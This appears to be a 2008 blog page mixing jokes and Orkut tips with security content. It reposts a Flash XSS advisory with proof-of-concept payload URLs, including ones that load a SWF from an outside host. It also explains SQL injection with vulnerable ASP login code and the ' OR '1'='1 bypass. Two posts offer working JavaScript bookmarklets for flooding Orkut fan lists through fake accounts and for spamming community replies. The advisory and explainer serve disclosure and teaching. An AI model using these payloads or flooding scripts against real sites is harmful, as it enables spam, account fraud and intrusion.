Friday, January 11, 2008
Top 20 replies by programmers when their programs do not work
20. “That’s weird…”
19. “It’s never done that before.”
18. “It worked yesterday.”
17. “How is that possible?”
16. “It must be a hardware problem.”
15. “What did you type in wrong to get it to crash?”
14. “There is something funky in your data.”
13. “I haven’t touched that module in weeks!”
12. “You must have the wrong version.”
11. “It’s just some unlucky coincidence.”
10. “I can’t test everything!”
9. “THIS can’t be the source of THAT.”
8. “It works, but it hasn’t been tested.”
7. “Somebody must have changed my code.”
6. “Did you check for a virus on your system?”
5. “Even though it doesn’t work, how does it feel?
4. “You can’t use that version on your system.”
3. “Why do you want to do it that way?”
2. “Where were you when the program blew up?”
And the Number One reply by programmers when their programs don’t work:
1. “It works on my machine.”
Sunday, January 6, 2008
XSS Vulnerabilities in Common Shockwave Flash Files
Recently, there has been news regarding Flash authoring tools and XSS,
but the articles contained little technical information. So, I created
a detailed report here:
SUMMARY
Critical vulnerabilities exist in a large number of widely used web
authoring tools that automatically generate Shockwave Flash (SWF)
files, such as Adobe (r) Dreamweaver (r), Adobe Acrobat (r) Connect
(tm) (formerly Macromedia Breeze), InfoSoft FusionCharts, and
Techsmith Camtasia. The flaws render websites that host these
generated SWF files vulnerable to Cross-Site Scripting (XSS).
This problem is not limited to authoring tools. Autodemo, a popular
service provider, used a vulnerable controller SWF in many of their
projects.
Simple Google hacking queries reveal that hundreds of thousands of
SWFs are vulnerable on the Internet, and a considerable percentage of
major Internet sites are affected. We are only reporting XSS
vulnerabilities that have been fixed by the vendors.
THE PROBLEM
Many web authoring tools that automatically generate SWFs insert
identical and vulnerable ActionScript into all saved SWFs or necessary
controller SWFs (think of tools that "save as SWF", "export to SWF",
etc.). The vulnerable ActionScript can used by attackers to execute
arbitrary JavaScript in the security domain of the website hosting the
SWF.
We were unable to perform an exhaustive review of all authoring tools
that generate SWFs. More XSS issues may exist in the products listed
below and certainly exist in other applications that save to SWF.
We are only reporting XSS vulnerabilities that have been fixed by the
vendors. There are more products vulnerable. We will publish more
information when the vendor releases fixes.
Adobe Dreamweaver
The "skinName" parameter is accepted by all Flash files produced by
the "Insert Flash Video" feature. "skinName" can be used to force
victims to load of arbitrary URLs including the "asfunction" protocol
handler:
http://www.example.com/FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//
Adobe was contacted on August 8, 2007. This issue was fixed in the
December Flash player release.
Adobe Acrobat Connect/Macromedia Dreamweaver
"main.swf" is the controller file in all Connect/Breeze online
presentations. This SWF does not properly validate the "baseurl"
parameter; thus causing script injection:
http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert(1)//
Adobe was contacted on July 31, 2007. This issue was fixed in the
December Flash player release.
InfoSoft FusionCharts
One of the issues found in FusionCharts was that the "dataURL"
parameter allows insertion of arbitrary HTML into a "TextArea"
instance. This allows attackers to load SWFs from other domains:
http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//cannings.org/DoKnowEvil.swf%3F.jpg%22%3E
InfoSoft was contacted on September 2, 2007. Fixes for all issues we
found were released in late September. Webmasters should consult
InfoSoft to properly upgrade their SWFs. See "The Fix" for details.
Techsmith Camtasia
One of the issues found in Camtasia was that the "csPreloader"
parameter loads an arbitrary flash file:
http://www.example.com/Example_controller.swf?csPreloader=http://cannings.org/DoKnowEvil.swf%3f
Techsmith was contacted on August 12, 2007. Fixes for all issues was
released late September. Webmasters should contact Techsmith to
properly upgrade their SWFs. See "The Fix" for details.
Autodemo
Autodemo is a service provider, not an authoring tool. However, like
authoring tools they use a common control file in many demos. The
"onend" parameter in "control.swf" loads arbitrary URLs including the
JavaScript protocol handler:
http://www.example.com/control.swf?onend=javascript:alert(1)//
Autodemo was contacted on August 17, 2007. Autodemo was extremely
responsive to our report and quickly fixed the issue in early
September. Webmasters must update to the latest "control.swf". See
"The Fix" for details.
Autodemo is not the only service provider to have XSS in their
products. They are just the only service provider we looked at.
Readers should be concerned about other service providers who don't
even know their SWFs are vulnerable.
THE FIX
See http://docs.google.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw.
Fan flooder..!!!
This is a hack-cheat script to flood your fan-list !
- Create A Fraud/New Orkut Account
- Add yourself as a friend in the New/Fraud account you have made.
- Log into the fraud account.
- Go to http://www.orkut.com/Friends.aspx
- Put cursor on the “fan” icon. You will see at the status bar of your
- browser (at the bottom of your browser) something like "FRUS0016756489/US209709881" .
- Note-Down this somewhere.
- Now write this code in the address bar:
javascript:i=0;for(i=0;i<=100;i++){sendRequest (”/SetKarma.aspx?cat=”+0+”& val=”+”3″+”&gid=”+”FRUS0009505081/US0014188150″);};void(0);
- Change “FRUS0009505081/US0014188150″ with the one you have written in the copy.
- Press Enter
- Add yourself as many times u want and flood your fan-list.
Saturday, January 5, 2008
aur batao syndrome
Conversation between 2 Orkut Friends:
fr1---hello
fr2---hi
fr1---hey h r u???
fr2---m fine!!! Wht abt u???
fr1---m fine too
fr2---cool
fr1---so howz life???
fr2--gud
fr1--hmmmm
fr1--aur batao? ( passing the ball to the other side)
fr2--hmmm everything as usual
fr2--so wht else???
fr1--nothing much
fr2--ok
fr2--aur batao? ( passing the ball to the other side)
And it goes on like this untill they give up
Are u also having such conversation with ur frnds, then u r
also
suffering from "aur batao syndrome" It means ur life is all screwed up
following the usual monotonous routine.
Probably u need a change in ur life something which is
exciting,something which is adventurous, something which really makes u
feel gud
Correct????
yeh sab to thik hai ab
AUR BATAO
Remove country option of your profile
Now Copy/paste the Script Below in the address bar
javascript:var alpha=document.createElement('option');alpha.text="beta"; document.getElementById("country").add(alpha, null);
Just Select Beta as your country
Update Your profile
no more country name on orkut
Orkutting for Indians in Indian languages
Orkut language a special typing TOOL. It is a version for Indians. No New address just the same one. WWW.ORKUT.COM. JuSt download this tool & see the magic.
All thatdoes is that it has added is a NEW pull down menu using which you can select you language.
This feature works in scrapbook, community, message.
Currently it supports
- Hindi
- Punjabi
- Gujarati
- Kannada
- Telugu
- Malayalam
- Bengali
- Sanskrit(using Hindi)
- Other language whose script is Devanagari like Avadi, Bhojpuri, Bihari.

I think this will work best only for India just like Orkut launched rkut Brazil for Brazilians .This could be Indian orkut.
Generate kool scraps, texts, smileys, etc for ur orkut scrapbook
1. http://webphotoshop.info/
2. http://scrapout.googlepages.com/scrapformatter.html
3. http://smileytext.co.nr/
Enjoi Orkutting! :)
cool links for orkutters
custom nicknames:http://www.freewebs.com/cool_rakshasa/orkut/nick.htm
crazy nickname:http://www.freewebs.com/cool_rakshasa/orkut/crazy.htm
heart generator:http://www.freewebs.com/cool_rakshasa/orkut/heart.htm
Flooding reply in a comunity....
1. Open any topic in any community which u want to flood.
2. Press reply button on that topic.
3. Now copy following codes into that pages address bar / navigation bar / url bar.
javascript:function cmd(){var msg="your message here"; var i=Math.floor(Math.random()*987668764); document.getElementsByTagName('input').item(2).value=msg; document.getElementsByTagName('TEXTAREA').item(0).value=msg+"counter:::"+i; document.getElementsByTagName('input').item(6).click();} void(setInterval(cmd,1000)); ...............4. Press ENTER to start the flood!
5. To STOP, just close that tab/window.
#Note 1:
You can write ur message in between quotes replacing your message here in above script.
#Note 2:
You can change time interval as per ur connection speed which is 1000 in above javascript. The faster is the connection, the lesser is time interval required!
#Disclaimer:
Excessive flooding may delete/disable ur account. So use at ur own risk!
SQL Injection Vulnerabilities & Authentication bypass using SQL injection
SQL Injection Vulnerabilities
Many Web application developers (regardless of the environment) do not properly strip user input of potentially "nasty" characters before using that input directly in SQL queries. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use subselects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.
Locating SQL Injection Vulnerabilities
Often the most effective method of locating SQL injection vulnerabilities is by hand - studying application inputs and inserting special characters. With many of the popular backends, informative errors pages are displayed by default, which can often give clues to the SQL query in use: when attempting SQL injection attacks, you want to learn as much as possible about the syntax of database queries.
Authentication bypass using SQL injection
This is one of the most commonly used examples of an SQL injection vulnerability, as it is easy to understand for non-SQL-developers and highlights the extent and severity of these vulnerabilities. One of the simplest ways to validate a user on a Web site is by providing them with a form, which prompts for a username and password. When the form is submitted to the login script (eg. login.asp), the username and password fields are used as variables within an SQL query.
Examine the following code (using MS Access DB as our backend):
user = Request.form("user")
pass = Request.form("pass")
Set Conn = Server.CreateObject("ADODB.Connection")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open (dsn)
SQL = "SELECT C=COUNT(*) FROM users where pass='" & pass & "' and user='" & user & "'"
rs.open (sql,conn) if rs.eof or rs.bof then
response.write "Database Error"
else
if rs("C") < 1 then
response.write "Invalid Credentials"
else
response.write "Logged In"
end if
end if
In this scenario, no sanity or validity checking is being performed on the user and pass variables from our form inputs. The developer may have client-side (eg. Javascript) checks on the inputs, but as has been demonstrated in the first part of this series, any attacker who understands HTML can bypass these restrictions. If the attacker were to submit the following credentials to our login script:
user: test' OR '1'='1
pass: test
the resulting SQL query would look as follows:
SELECT * FROM users where pass='test' and user='test' OR '1' = '1'
In plain English, "access some data where user and pass are equal to 'test', or 1 is equal to 1." As the second condition is always true, the first condition is irrelevant, and the query data is returned successfully - in this case, logging the attacker into the application.
For recent examples of this class of vulnerability, please refer to http://www.securityfocus.com/bid/4520 and http://www.securityfocus.com/bid/4931. Both of these advisories detail SQL authentication issues similar to the above.
What is SQL Injection?
SQL Injection happens when a developer accepts user input that is directly placed into a SQL Statement and doesn't properly filter out dangerous characters. This can allow an attacker to not only steal data from your database, but also modify and delete it. Certain SQL Servers such as Microsoft SQL Server contain Stored and Extended Procedures (database server functions). If an attacker can obtain access to these Procedures it may be possible to compromise the entire machine. Attackers commonly insert single qoutes into a URL's query string, or into a forms input field to test for SQL Injection. If an attacker receives an error message like the one below there is a good chance that the application is vulnerable to SQL Injection.
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the
keyword 'or'.
/wasc.asp, line 69
